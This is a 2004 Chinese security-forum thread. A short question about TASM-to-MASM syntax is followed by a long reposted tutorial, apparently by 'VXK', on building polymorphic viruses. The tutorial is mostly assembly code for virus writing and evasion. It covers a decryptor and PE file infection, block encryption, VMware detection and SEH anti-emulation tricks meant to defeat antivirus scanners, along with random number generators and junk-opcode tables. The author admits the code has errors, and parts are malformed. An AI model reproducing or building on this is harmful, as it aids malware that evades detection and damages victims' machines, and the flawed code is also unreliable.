首页
社区
课程
招聘
求助Tasm32汇编指令
发表于: 2004-12-5 10:22 8398

求助Tasm32汇编指令

2004-12-5 10:22
8398
call rjunk
        pop esi
        ret Pshd        ->等效的masm32写法是什么?

thx

[课程]Android-CTF解题方法汇总!

收藏
免费 1
支持
分享
最新回复 (15)
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
2
4

信息太短不让发我就再说两句叽里呱啦
2004-12-5 10:35
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
3
呵呵~谢啦:D
2004-12-5 10:46
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
4
cyclotron 同学玩起变形来了...
2004-12-5 10:59
0
雪    币: 392
活跃值: (909)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
5
呵呵,拜你的科普文章所赐,觉得tElock的BPE32蛮好玩的啦~~
2004-12-5 11:39
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
6
科普文章首推kme
2004-12-5 11:53
0
雪    币: 154
活跃值: (216)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
我代版主回复你:
来自CVC的VXK关于变形的文章:
; 理 论 变 形 学  ;
              第一讲::
                          
                             序
    "No matter death or live,I would be on your sides forever."
                                                    ――James・Raynor
        在很久很久以前,在遥远遥远的星系中,我想写一篇关于变形的纯理论的
   文章,于是随着时间的推移,终于这篇文章诞生了......
            一.变形学的基础伦理               

                     (一).做Poly的条件
    "To Poly or not to Poly,it is a problem for a vxer."
                                                    ――Vxk
        是否想要做Poly,一要看Vxer的想法,而是必要性――if vxer 一定要poly,
    那么有没有必要就不重要了,不过如果有如下其中一种情况则非做poly不可。

         1.你借用了大量他人的代码,其中一些代码很出名!(那样的话,AVer会很快
           找到查杀方法)
         2.你的病毒在编译时就被NAV提醒有问题。
         3.你的病毒在测试时被金山报警(被瑞星报警的polyVirus也很多,所以暂时
           不管他),这样的病毒最好重写。
         4.你的病毒过分简单::搜索磁盘文件+感染+PayLoad:uses MessageBoxA(
           太没咬头了,Aver会在半小时内XX掉它)。
         5.你的病毒出奇的巨型:这样大也就不在乎再大一点了(AVer会很注意这样东西)。
         6.你的病毒要潜伏一个星期!!!(一般没Poly的Virus,Aver一个小时就会XX
           掉了――一个星期别开了)。
       好了暂时就这些了,你的病毒如果没上面的问题――奇怪了,你用的是Ring0Virus
   Tech?
       hehe,我需要讲一下哪几种情况千万不要Poly::
         1.Ring0病毒::用Poly会发生一些可爱的错误,除非你对ring0十分了解。
         2.试验型病毒::你只是要实验新技术,没必要用poly,那样会影响实验的。
         3.礼物型病毒::你想让你的朋友痛苦吗?那就用Poly吧(你的朋友是AVER,
                       那就用,看看他的水平如何?)
      OK,这就是Poly的条件了。
      下面,我们要看看Poly的等级划分了。
                      (二)给poly打分的计算方法
    "It is hard for an aver to recode and kill an eight-level-mark poly virus."
                                                   ――Vxk
           通常拿到一个Virus放进VM,得到反汇编的代码――如果有poly,(AVERZ)我们会给
     poly打分。打分是一种划分poly等级的通用方法::
           开始计分为:0分
           打分标准::
           1.有多随机种子选取系统,+0.5分(以下就不写分字了)
           2.有随机寄存器和加密算法选取(注意是选取),+0.5
           3.有随机垃圾代码生成,+0.5
           4.有加密算法自生成,+0.5            
           5.生成加密算法大小大于0.5KB,+0.5
           6.能随机插入抗静态反汇编代码,+0.5
           7.能调整非加解密部分的代码所用寄存器的,+0.5
           8.能对Poly Engine部分的代码可进行部分代码称块状的随机加密变形,+0.5
           9.能够进行代码压缩的,+0.5
           10.压缩使用多种算法随机选取,+0.5
           11.能进行分块时代码压缩,+0.5
           12.能对全部代码实现分块式随机加密变形,+0.5
           13.具有多poly的多层壳结构块式变形能力,+1
           14.具有遗传演化变形能力,+1
           15.使用64位指令系统,如SSE,MMX,3d!now等等,+1
           16.使用抗VM分析的特殊代码,+1
     总共10分,能够取得5-6分就是不错的polyVirus了(什么得了10分?你写的!?救护车!!)
OK.在此基础上,我们来划分poly的种类
      
     分值 0    1.5   2   3     4    4.5    5      6    7       8       9    10
     等级 -1    0    1   1.5   2     3     4.5    5    5.5     6       7     8
产生概率 100%  95%  90%  87%  80%   80%   76.5%  45%  21.35%  12.1%   2%   0.001%

注释::
    等级按破除病毒所需的时间而算::
          设Xl为等级,VMp为VM的效率
            TK为解除时间(小时) ,代码编写效率为pC
            CAV为协同工作AVer数量(通常为一)
            TK=(2.4*ABS(XL)/CAV+2.5+ABS(XL)/VMp)/pC
    生产概率按每一百职业VXERZ算。

                             (三)写poly的一些基础准备
    "No matter knowing or unkowning,I will tell you the way there"
                                                      ――Zetarul
         如何去写一个Poly是一个很重要的问题,通常写Poly之前都要有几个准
   备工作::
         1.一本Intel i386 的手册,一本AMD手册
         2.x86汇编手册(如果你对ASM了如指掌,就免了)
         3.Poly的等级定位,如同做游戏一样,你不能一开始就写一个StartCraft
           出来。所以建议定位到3-4.5就行了。(8!?你发疯了??)
         OK,现在给出一个PolyVirus的构架,下一章我们将讲Poly的一些技术问题

;引自pkxp的贴子
   1. 定位
   Call Delta
   Delta:
   pop ebp
   sub ebp,offset Delta
   mov dword ptr [ebp+appBase],ebp
  2. 解密代码
     lea    edi , [ebx + offset EncryptStart]
     mov    ecx , VEnd - EncryptStart
DecryptLoop:
     xor    byte ptr [edi] , 00h  
key=byte ptr $-1
     inc    edi
     loop   DecryptLoop   
EncryptStart:           
    call     GetKBase        ;得到hKernel
    call     GetAPIz         ;得到api地址         
  2. 感染一个文件
     1)分析合法性
     2)添加一个节
     3)这里不能直接写入病毒代码,要如下工作:
       a. pMem=VirtualAlloc(VEnd-VStart...)
       b. mov esi,offset VStart
          mov edi,pMem
          mov ecx,VEnd-VStart
          rep movsb ;移动病毒代码到新开辟区
          eax = pMem + (Key-VStart)
          mov eax,11h ;key=11h
          esi = pMem + (EncryptStart-VStart)
          edi = esi
          ;下面循环         
          loadsb
          xor al,11h ;key
          stosb
       c. WriteFile(pMem...VEnd-VStart)
       此时写入的是加密代码。   

       二。Poly的实际编写时遇到的问题的解决方法与方案
            
         
                                 (一)插入一段代码的方法
       "En Taro Adun,thanx to the AuirSha.You're alive now."
                                              ――Vxk
            有上可以看到Poly的关键是插入解密代码(变形恢复?不必要吧)
       那么要如何才能插入一段代码呢?现在让我来告诉你们::主要用到两
       个指令Movsy和Stosy(y=b/w)
             看看这个代码::
              CLD;调整地址,很重要,有时不必要写这个
              lea edi,[ebp+offset Decry]
              ;将Decry的地址装入edi
              mov eax,0h
              mov ecx,[ebp+Decry_len];装入DEcry的大小
              rep stosy
              ;清空Decry的内容
              ;这是为了重新写入新的代码
              lea edi,[ebp+offset Decry]
              mov esi,NewDeCry_addr
              mov ecx,DEcry_len
              rep movsy
              ;不用讲了吧
             这段代码将定长的DEcry清除,写入新的Decry,不过有些缺点::
                                        只适合预先留好空隙的Virus,just
                                   like this code
                                   VStart:
                                          Call gdelta
                                          @I0 MAX_Length dup (90h)
                                   gdelta:
                                          pop ebp
                                          lea ebp,[ebp-offset gdelta]
                                          @I1 256 dup (90h)
                                   V_Real:
                                          @I2 Max_length dup (90h)
             这样一堆一堆的Nop看的就不舒服,而且AVER只要在特定位置XX你的DEcry就OK了。  
       那么怎样改进呢?
       hh~~,这个简单你难道不知道吗?看下一段吧。
                                       (二)代码整合的问题的解决方法
       "Benny,I think it very hard for me to anti your code."
                                             ――Vxk
                  
             上回说到Poly的代码不留空隙的解决方法,这个确实是一个难题
         很少有人真的想过,不过你看过Virus的代码吧?知道非EPO的Virus返
         回时的方法吧???什么太古老不记得了?吐血了,没关系看下面的                       
         这段代码,它是一个poly的部分代码::
                     ;假设V_Data_Addr为加密后病毒代码的地址
                     ;V_len为加密后病毒代码的大小
                     ;CRY_len为DEcry代码的大小
                     ;CRY_Data_Addr为DEcry代码的地址
                     ; host_addr 为Host返回地址
                       Call    DoPoly;调用加密变形模块
                       push    PAGE_READWRITE
                       push    MEM_RESERVE or MEM_COMMIT
                       push    V_len+decry_len+decry_header_len+2h
                       push    0
                       Call dword ptr [ebp+_VirtualAlloc]                     
                       mov     pMem, eax        
                       mov     edi , eax        ;edi指向新开辟的内存
                       lea esi,[ebp+offset decry_Header]
                       mov ecx,decry_header_len
                       mov [ebp+Addr_R_cry],decry_header_len+1h-offset pMem
                       rep movsy
                       inc edi
                       mov esi,decry_data_addr
                       mov ecx,decry_len
                       mov [ebp+Addr_V_begin],edi+decry_len+1h-offset pMem
                       rep movsy
                       inc edi
                       mov esi,v_data_addr
                       mov ecx,v_len
                       mov [ebp+Host_op],host_addr
                       rep movsy
                       mov eax,decry_header_len
                       add eax,1h
                       add eax,decry_len
                       add eax,1h
                       add eax,v_len
                       mov [ebp+V_To_Write_len],eax;重新计算病毒大小
                       Call WriteVirusBack;返回去写文件
                       ret
     Decry_header:
                       pushad
                       Call header_delta
     header_delta:
                       pop ebp
                       lea ebp,[ebp-offset header_delta]
                       mov eax,12345678h
                       addr_r_cry=$-4
                       jmp short eax
     decry_header_end:
     decry_header_len equ decry_header_end-decry_header
      
     ;在生成Decry代码时必须加入的代码
     Decry_Begin:
                 mov eax,12345678h
                 addr_v_begin=$-4
                 mov [ebp+Virus_addr],eax

                  ;剩下的相信你会做的
这是一个解决的方法,虽然不是最好的方法,不过已经可以适用于我们的poly了。

                                               (三)动态代码生成技术中的难题
        "Active on time, it is a great problem for a virus coder."
                                                  ――Jhon.A
             难点主要有代码大小的计算和代码生成两个部分::
      这里就不再写代码来描述解决方案了,主要就是两个字::手册,你想写得绝妙,
      就把一本intel i386指令集手册的机器码及大小写进去吧...目前还没有好方法。
        

                                               (四)一些深入的技术难题
            1.压缩
            2.指令分析
            3.分块技术
            4.遗传变异::这个涉及到Debugger和即时反汇编技术(分析别的病毒获得新的东西,吐血!)
            5.抗VM分析::这个还是给出来吧...
                           
       mov     ecx, 0Ah    ; CX=function# (0Ah=get_version)
       mov     eax, 'VMXh' ; EAX=magic
       mov     dx, 'VX'    ; DX=magic
       in      eax, dx     ; specially processed io cmd
       ; output: EAX/EBX/ECX = data
       cmp     ebx, 'VMXh' ; also eax/ecx modified (maybe vmw/os ver?)
       je      under_VMware                                               
        
            前四个将在以后的理论变形学里讲解。
            //这一讲里的代码存在错误(高低位搞错了),我本来想修正的,不过代码太大了...大家自己修正一下吧.
                          第二讲:
                       ("这一讲的代码量很多..")
                  "我还是喜欢写代码,不是讲理论..."
                                                        ――Vxk
                            一.随机数的生成

          我想大家一定知道随机数的生成对poly的随机生成代码,选择寄存器,分块选择等
      功能起着决定性。于是选择一个好的随机数算法是非常重要的事情,现在让我们看一下
      一些随机数的生成算法::
        A.最常见的随机算法::
              ;选自Pkxp的win32.simplypoly.19xx
              ;不是很好的算法...过分简单
              Random PROC  Seed: DWORD    ;返回值在eax中。                  
                   mov   eax , 12345678h
                   _GetTickCount  = dword ptr $-4
                   call  eax         
                   xor   edx , edx
                   div   Seed
                   xchg  edx , eax    ;需要的是余数,在edx中。         
                   ret   4
             Random   ENDP      
             ;样例::
              push 4
              Call Random
              
       B.常用的算法::
             ;选自win32.XXX.16xx by Benny.
             Randomize proc
                    pushad
                    _rnd_:dw 310fh;这里用了一个intel pentium 上出现的指令::0f 31 RDTSC
                          db (Max_path-2) dup (90h) ;using the  intel asmcode to produce a seed rnd num
                    add eax,edx
                    mov [ebp+_Seed],eax
                    popad
                    retn
             Randomize Endp
             RandNum Proc
                    pushad
                    push eax
                    push edx
                    mov eax,[ebp+_Seed]
                    mov ecx,41c64e6dh;小m数列
                    mul ecx
                    add eax,3039h;修正
                    mov [ebp+_Seed],eax
                    xor edx,edx
                    div dword ptr [esp+0ch];取参数,别说你不会用esp
                    xchg eax,edx
                    add [ebp+_Seed],eax
                    pop edx
                    pop eax
                    popad
                    ret 4
            RandNum Endp
            ;样例::
             Call Randomize
             push 4f;参数
             Call RandNum

          C.最NX的算法::
            ;选自??,好像还没有人用这种算法做poly Engine.
            ; 即将出现在我的Poly Engine ::Vxk's Death Engine.
            ;
                     
MCoef_32_0 DD E7BD2160H
MCoef_32_1 DD DA3A2A9CH
// 两个小m序列系数
m_Seq_32_m proc dwMset:DWORD,dwKey:DWORD,nNumber:DWORD,pdwRandom:DWORD
; dwMset: 随机发生器所使用的小m序列
; dwKey: 随机数种子
; nNumber: 产生的随机序列长度(以DWORD为单位)
; pdwRandom: 指向随机数存储空间的指针
CLD
MOV EDI,pdwRandom;
MOV ECX,nNumber;
MOV ESI,dwMset;
MOV EAX,dwKey;
ALIGN 4; what it is?
LOOP_CIRCLE1:
PUSH ECX
MOV ECX,32
LOOP_CIRCLE2:
MOV EBX,EAX;
SHL EAX,1
AND EBX,ESI;select the bit for xor
MOV EDX,EBX;
BSWAP EBX;
XOR BX,DX;
XOR BH,BL; because P only judge one byte
;so must XOR to judge the p of whole word
JP NEXT ;jp equals the xor
INC EAX
NEXT: DEC ecx
JNZ LOOP_CIRCLE2
POP ECX
STOSD
DEC ECX
JNZ LOOP_CIRCLE1
mov edx,eax
m_Seq_32_m ENDP
RandomGenerator proc Buffer:DWORD,nlength:DWORD
; 产生长度为nLength字节的随机数
; Buffer: 指向随机数存放区域的指针
; nLength: 产生随机数数量
LOCAL A:DWORD;
B 4 DUP(0)
RDTSC
MOV A,EAX
CALL m_Seq_32_m,[EBP+MCoef_32_0],A,nLength/4,Buffer
mov edx,nLength
div edx,4h
mov eax,edx
mul eax,4h
cmp eax,nLength
jnz FV
FV:
CALL m_Seq_32_m,[EBP+MCoef_32_1],A,1,[EBP+B]
lea esi,[ebp+offset B]  
lea edi,[offset Buffer+(nlength/4)*4]
mov ecx,edx
rep movsb
ret
RandomGenerator ENDP
;样例::
;调用A的Random
push 12dfeabh
Call Random
mov [ebp+myseed],eax
;调用B的Randomize和RandNum
Call Randomize
push [ebp+myseed]
Call RandNum
;调用我们的RandmGenerator
push [ebp+_Seed]
push [ebp+myKey]
Call RandomGenerator

     至此我们对随机数有了一个基本的了解,XX~~以后还会再次提到随机的问题...

                二.Blocks codes Poly的理论实现

                                                      (一).如何分块?
                 "I would like to fight against the enemies,not to stay at the Nexu's Talbe."
                                                                           ―― Astraint
                现在我们来思考这个问题,OK_你有想法了?好大家一起来看一个BlocksPolyVirus(没有使用
            整合技术的)的构架代码
             ::

                  Vstart:
                            pushad;保存入口信息。。
                            @SEH_SetupFrame <jmp Vstart2>
                            @I0:db 32*2 DUP (90h)
                            ;32*2大的乱码,可以引发错误...
                            @I1:db 1024*4 dup (90H)
                            ;这放4KB大(部分AVSoft的VM极限)的正常代码::非病毒代码,可以是一段经典的算法程序
                  Vstart3:  .  |
                            .  |
                            .  |
                            .  |――这里放一段正常的代码(注意是正常代码!)
                            .  |
                            .  |
                           
                  Vstart3_end:
                               int 3;引发异常
                  Vstart3_len equ Vstart3_end-Vstart3
                  Vstart2:
                           @RemoveSEHFrame
                           Call Gdelta
                  Gdelta:
                          pop ebp
                          lea ebp,[ebp-offset Gdelta]
                          @SEH_SetupFrame <jmp @MainDecry>                              
                  Vstart4:
                          ;又是正常代码
                          ;可怜的AVSoft
                  Vstart4_end:
                            xor eax,eax
                            Call eax;引发异常
                  @MainDecry:
                              @De_RStart :db 32*2 Dup (90H)
                              ;足够让人吐血
                  RStart:
                           @RemoveSEHFrame
                           @Seh_setupframe <jmp end_virus>
                           Call Check_Nt
                           
                  Check_Nt:
                       @De_CheckNt: db 32*2 DUP (90h)
                       ;每一个Blocks of code都有自己的Decry
                  CheckNt:
                       movebp,[esp+4];EBP = delta offset
                       movedx,cs
                       xordl,dl
                               jnz     9x_part;是Win9x/me就转到9x_part去
                               Call     NT_Start
                  Check_Nt_end:
                               @I2:db 32 Dup (90h)
                               ;乱码!!
                  CheckNT_len equ $-CheckNT
                  
                  9x_part:
                          @De_9xpart:db 32*2 DUP (90h)
                  9xpart:
                            ;在9x下的事情
                  9x_part_end:
                             @I3:db 32 Dup (90h)
                              ;乱码
                  9x_part_len equ $-9xpart
                 
                  NT_Start:
                           @De_NTStart:db 32*2 Dup (90h)     
                  NTStart:
                            ;做NT下的事情
                       
                  NT_Start_end:
                           @I4:db 32 Dup (90h)
                           ;乱码
                  NT_Start_len equ $-NTStart
                  ......;省略类似的代码N行
         ;我们的重点在这里         
...
;这里是关于Block的结构定义
MyBlock Struc
Block_addr dd 0;块的地址
Block_len dd 0;块的大小
Block_num dd 0;块的号码
Block_de_addr dd 0;De_**的地址
MyBlock Ends
ReadyTheBlocks:
@De_Blocks:db 32*2 Dup (90h)
ToReadyThePoly_ip:
               ;在这里我们准备Poly的Blocks的数据,这些代码很简单..
               pushad
               lea eax,[ebp+offset Rstart]
               mov dword ptr [ebp+RstartBlock].Block_addr,eax
               mov dword ptr [ebp+RstartBlock].Block_len, [ebp+offset (Check_NT-Rstart)]
               mov dword ptr [ebp+RstartBlock].Block_num,0
               lea eax,[ebp+offset @MainDecry]
               mov dword ptr [ebp+RstartBlock].Block_de_addr,eax
               @I16: db 32 Dup (90h)
               ;一些正常的代码
               Lea eax,[ebp+offset CheckNt]
               mov dword ptr [ebp+CheckNtBK].Block_addr,eax
               mov dword ptr [ebp+CheckNtBK].Block_len,[ebp+CheckNT_len]
               mov dword ptr [ebp+CheckNtBK].Block_num,1
               lea eax,[ebp+offset @De_ChackNT]
               mov dword ptr [ebp+CheckNtBK].Block_de_addr,eax
               @I17: db 32 Dup (90h)
               ;一些正常的代码
               Lea eax,[ebp+offset 9xpart]
               mov dword ptr [ebp+9xpartBK].Block_addr,eax
               mov dword ptr [ebp+9xpartBK].Block_len,[ebp+9x_part_len]
               mov dword ptr [ebp+9xpartBK].Block_num,2
               lea eax,[ebp+offset @De_9xpart]
               mov dword ptr [ebp+9xpartBK].Block_de_addr,eax
               @I18:db 32 Dup (90h)
               ;一些正常的代码
               Lea eax,[ebp+offset NTStart]
               mov dword ptr [ebp+NTStartBK].Block_addr,eax
               mov dword ptr [ebp+NTStartBK].Block_len,[ebp+Nt_part_len]
               mov dword ptr [ebp+NTStartBK].Block_num,3
               lea eax,[ebp+offset @De_NTStart]
               mov dword ptr [ebp+NTStartBK].Block_de_addr,eax
               ;其他装配代码省略...
               ;......
               ;装配Num编码系统
               lea eax,dword ptr [ebp+CheckNTBK]
               mov dword ptr [ebp+Num1],eax
               lea eax,dword ptr [ebp+9xpartBK]
               mov dword ptr [ebp+Num2],eax
               lea eax,dword ptr [ebp+NTStartBK]
               mov dword ptr [ebp+Num3],eax
               ;....继续装配
               ;......
               popad
               ret

;现在让我们深入的研究Poly的
;in eax==The MapViewFile handle
BlocksPolyMorph:
        @De_BPM:db 32*2 Dup (90h)
BlocksPolyMorph_r:
             pushad
             lea esi,[ebp+offset @De_BMP]
             mov eax,0h
             mov ecx,[ebp+offset (BlocksPolyMorph_r-@De_BMP)]
             rep stosb
             Call CreateARandomizeNum
             ;产生一个小于6的整数
             ;存入EAX中.这是要Poly的Blocks数
             mov [ebp+RND_Num],eax
             mov ebx,eax
             Call CreateNewPageHandle;创建新的内存空间,大小为::(VStart_End-VStart)+32*4        
             ;句柄存于EAX
             mov [ebp+HpMem],eax
             mov eax,[ebp+RND_Num]
             Call MoveAllDataToNewPage ;所有的数据移入HpMem指向的内存
             Call ChoiseBlock
ChoiseBlock:
             push eax
             Call ARndBlockNum
             ;生成一个Block的Num号,存入EAX中
             ;根据号码选择Block的结构...
             mov ebx,dword ptr [ebp+Num&eax]  
             Call BlockPoly;Block的poly Engine
             pop eax
             sub eax,1h
             mov [ebp+RND_Num],eax
             test eax,eax
             jnz ChoiseBlock
             jmp End_polyBlocks               
MoveAllDataToNewPage:
             push edi
             push esi
             push ecx
             mov edi,[ebp+HpMem]
             lea esi,[ebp+offset Vstart]
             mov ecx,[ebp+offset (Vstart_End-Vstart+3)/4]
             rep movsb
             pop ecx
             pop esi
             pop edi
             ret
;in ebx==Addr of the Blocks  page
BlockPoly:
;在这里很多东西和普通Poly一样
;除了代码整合部分的特殊化...
;我们将在下面讲述整合的新方法
;......
;......

                                

                                 (二).新的代码整合技术描述
        "In the post of wars,you do not have time to think weather killing is good or not for that
          you would not have life again..."
                                                      ――Fenix

            我们在上面研究了分块的方法,现在我们该研究一下新的整合代码方法...如果你很有心的留意
       汇编的编写方法,有会很快发现这并不难,不过还是要讲的::
            ;首先让我们回想一下上一讲的方法...
            ;好了现在开始了
            ;假定生成的poly的添加代码部分名称为::AddCodeTo
            AddCodeTo:
            ;EBX==The Addr of Blocks Struc
             mov eax,ebx
             assume  eax:ptr MyBlock
             mov edi,[ebp+HpMem]
             lea ebx,[ebp+offset Vstart]
             mov edx,00h
             add edx,dword ptr [eax].Block_addr
             sub edx,ebx
             add edi,edx
             ;计算出Block在Page中的位置
             push eax
             Call MakeItCry;对Blocks加密
             pop eax
             mov edi,[ebp+HpMem]
             lea ebx,[ebp+offset Vstart]
             mov edx,00h
             add edx,dword ptr [eax].Block_de_addr
             sub edx,ebx
             add edi,edx
             ;计算出DECry的位置
             mov esi,[ebp+NewDeCry_addr]
             mov ecx,[ebp+(NewDecry_len)/4]
             rep movsd
             ;填写NewDecry的代码
             ;.....
            到这里相信你已经了解了Poly的分块实现全部技术关键了,下面我们将深入的分析代码的生成...

              三.Poly中的代码生成的实现方法

                "生命在于变化..."
                (一).干扰代码的生成
                     "June Me,sir"
                                   ――Sv/Ter13x(i do not what group is named ter13x.)                                                           
                 June Code是Poly的精华之处,是poly的完美之处,是我们做poly的精要之处...
                  (略去几万字的废话)
              好了我们现在开始思考这个问题,首先关于June Code的选择方法?
              我觉得June Code的选择应该很容易::
                 下面是几个方案::::
              方案A,代码选择法::我们必须有一个JuneCode_table,这样采用Simplepoly的方
                    法即可生成*个June code了,不过方案过于简单
              方案B,代码生成法::我们必须了解Opcode和指令格式,然后...但是实现代码过长
                    这里只做简单的描述代码
              方案C,代码重编译法::我觉得生成汇编指令串::如::'Mov eax,edx'之类的代码
                    比较简单,只是需要写一个汇编引擎,很复杂...不过在Mute中我们还会再一次
                    使用汇编引擎,所以写一个引擎不是什么损失。

              方案代码::
                 方案A::
                        ;引自Pkxp的Simplepoly
SelectOpcodes:

      push 5
      pop  ecx                    ;每次写6个bytes,循环5次=30d.

@SOStart:

      push 20d        
      call Random        
      .IF  AL < 4d
           call @SelectOpcode_6B    ;选择个6字节代码插入
      .ELSEIF AL < 8d
           call @SelectOpcode_1B    ;1个字节
           call @SelectOpcode_5B    ;5个字节,下同
      .ELSEIF AL < 12d
           call @SelectOpcode_5B
           call @SelectOpcode_1B
      .ELSEIF AL < 14d
           call @SelectOpcode_2B
           call @SelectOpcode_2B
           call @SelectOpcode_2B
      .ELSEIF AL < 17d
           call @SelectOpcode_2B
           call @SelectOpcode_1B
           call @SelectOpcode_2B
           call @SelectOpcode_1B
      .ELSE
           call @SelectOpcode_1B
           call @SelectOpcode_2B
           call @SelectOpcode_2B
           call @SelectOpcode_1B
      .ENDIF
      LOOP @SOStart
      ret  
;**************************************************************
@6Bytes:
db 081h, 0C2h                ;add edx
db 081h, 0C6h                ;add esi  
db 081h, 0EAh                ;sub edx
db 081h, 0EEh                ;sub esi
db 081h, 0F2h                ;xor edx
db 081h, 0F6h                ;xor esi
db 069h, 0C0h                ;imul eax
db 069h, 0D2h                ;imul edx
db 069h, 0F6h                ;imul esi  
db 081h, 0E2h                ;and edx
db 081h, 0E6h                ;and esi
db 081h, 0CAh                ;or edx
db 081h, 0CEh                ;or esi
@SelectOpcode_6B:
     push ($ - @6Bytes)/2
     call Random      
     lea  esi , [ebx + offset @6Bytes + eax*2]      
     movsw      
     stosd                  ;把eax中随即数写入
     ret

@5Bytes:
db 0B8h                      ;mov eax  
db 0BAh                      ;mov edx
db 0BEh                      ;mov esi
db 005h                      ;add eax
db 02Dh                      ;sub eax
db 035h                      ;xor eax
db 025h                      ;and eax
db 0D7h                      ;or  eax  
@SelectOpcode_5B:
push   ($ - @5Bytes)
call   Random
lea    esi, [ebx + offset @5Bytes + eax]  
movsb
stosd
ret

@2Bytes:
db 001h, 0C0h                ;add eax, eax
db 031h, 0C0h                ;xor eax, eax  
db 001h, 0D2h                ;add edx, edx
db 031h, 0D2h                ;xor edx, edx

db 001h, 0D0h                ;add eax, edx
db 031h, 0D0h                ;xor eax, edx
db 031h, 0C2h                ;xor edx, eax
db 001h, 0F6h                ;add esi, esi
db 031h, 0F6h                ;xor esi, esi
@SelectOpcode_2B:
push  ($ - @2Bytes)/2
call  Random
lea   esi, [ebx + offset @2Bytes + eax*2]
movsw  
ret

@1Byte:
db 046h                       ;inc esi
db 04Eh                       ;dec esi
db 040h                       ;inc edx
db 042h                       ;inc eax
db 04Ah                       ;dec edx
db 048h                       ;dec eax
db 092h                       ;xchg edx, eax  
db 096h                       ;xchg esi, eax
@SelectOpcode_1B:
push  ($ - @1Byte)
call  Random
lea   esi, [ebx + offset @1Byte + eax]  
movsb
ret

            方案B:
                  ;我自己写的可能有错误。
                  ;还存有优化的余地..
Asm_Table_Begin:                  
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| Assembleur |     Hex     | Binaire  |    | Assembleur |     Hex     | Binaire  |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push eax   |     50      | 01010000 |    | pop eax    |     58      | 01011000 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push ebx   |     53      | 01010011 |    | pop ebx    |     5B      | 01011011 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push ecx   |     51      | 01010001 |    | pop ecx    |     59      | 01011001 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push edx   |     52      | 01010001 |    | pop edx    |     5A      | 01011010 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push esi   |     56      | 01010110 |    | pop esi    |     5E      | 01011110 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push edi   |     57      | 01010111 |    | pop edi    |     5F      | 01011111 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push ebp   |     55      | 01010101 |    | pop ebp    |     5D      | 01011101 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| push esp   |     54      | 01010100 |    | pop esp    |     5C      | 01011100 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| pusha      |     60      | 01100000 |    | popa       |     61      | 01100001 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
   ;| pushf      |     9C      | 10011100 |    | popf       |     9D      | 10011101 |
   ;+------------+-------------+----------+    +------------+-------------+----------+
              Asm_pop_table:
                   db 9Dh
                   db 61h
                   db 5Ch
                   db 5Dh
                   db 5Fh
                   db 5eh
                   db 5ah
                   db 59h
                   db 5bh
                   db 58h
             Asm_pop_table_end:
             Asm_push_table:
                   db 9Ch
                   db 90h
                   db 54h
                   db 55h
                   db 57h
                   db 56h
                   db 52h
                   db 51h
                   db 53h
                   db 50h
             Asm_push_table_end:
             Asm_xxxreg1reg2_table:
                 db 8BH,C0H                      ;我们在添入reg时使用::add al,regx
                 db 8BH,D8h                      ;regx=0XXX0000b=X0h
                 db 8Bh,8Ch                     
                 db 8Bh,0Dh
                 db 8Bh,0Dh
                 db 8Bh,8Fh
                 ;db FFh,30h
                 db 33h,C0h
                 db 33h,D8h
                 db 33h,C8h
                 db 33h,D0h
                 db 33h,F0h
                 db 33h,F8h
                 db 85h,C0h
                 db 85h,D8H
                 db 85h,C8H
                 db 85h,D0H
                 db 85h,F0H
                 db 85h,F8H
                 db 03h,C0h
                 db 03h,D8h  
                 db 03h,C8h
                 db 03h,D0h
                 db 03h,F0h
                 db 03h,F8h;03C0
                 db 2Bh,C0h
                 db 2Bh,D8h
                 db 2Bh,C8h
                 db 2Bh,D0h
                 db 2Bh,F0h
                 db 2Bh,F1h
                db 3Bh,C0h
                db 3Bh,D8h
                db 3Bh,C8h
                db 3Bh,D0h
                db 3Bh,F0h
                db 3Bh,F8h
                db 8Bh,00h
                db 8Bh,18h
                db 8Bh,08H
                db 8Bh,10H
                db 8Bh,30H
                db 8Bh,38H
                db 0Bh,C0H
                db 0Bh,D8H
                db 0Bh,C8H
                db 0Bh,D0H
                db 0Bh,F0H
                db 0Bh,F8H
             Asm_xxxreg1reg2_end:
             Asm_xxxregimm32_table1:
                 db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
                 db BBh,00h,00h,00h,00h
                 db B9h,00h,00h,00h,00h
                 db BAh,00h,00h,00h,00h
                 db BEh,00h,00h,00h,00h
                 db BFh,00h,00h,00h,00h
                 ;db 68h,00h,00h,00h,00h
                 db A9h,00h,00h,00h,00h
                 db 35h,00h,00h,00h,00h
                 db 05h,00h,00h,00h,00h
                 db 2Dh,00h,00h,00h,00h
                 db 3Dh,00h,00h,00h,00h      
            Asm_xxxregimm32_table2:
                 db F7h,C3h,00h,00h,00h,00h
                 db F7h,C1h,00h,00h,00h,00h
                 db F7h,C2h,00h,00h,00h,00h
                 db F7h,C6h,00h,00h,00h,00h
                 db F7h,C7h,00h,00h,00h,00h
                 db 81h,F3h,00h,00h,00h,00h                  
                 db 81h,F1h,00h,00h,00h,00h
                 db 81h,F2h,00h,00h,00h,00h
                 db 81h,F6h,00h,00h,00h,00h
                 db 81h,F7h,00h,00h,00h,00h
                 db 81h,C3h,00h,00h,00h,00h
                 db 81h,C1h,00h,00h,00h,00h
                 db 81h,C2h,00h,00h,00h,00h
                 db 81h,C6h,00h,00h,00h,00h
                 db 81h,C7h,00h,00h,00h,00h
                 db 81h,EBh,00h,00h,00h,00h
                 db 81h,E9h,00h,00h,00h,00h
                 db 81h,EAh,00h,00h,00h,00h
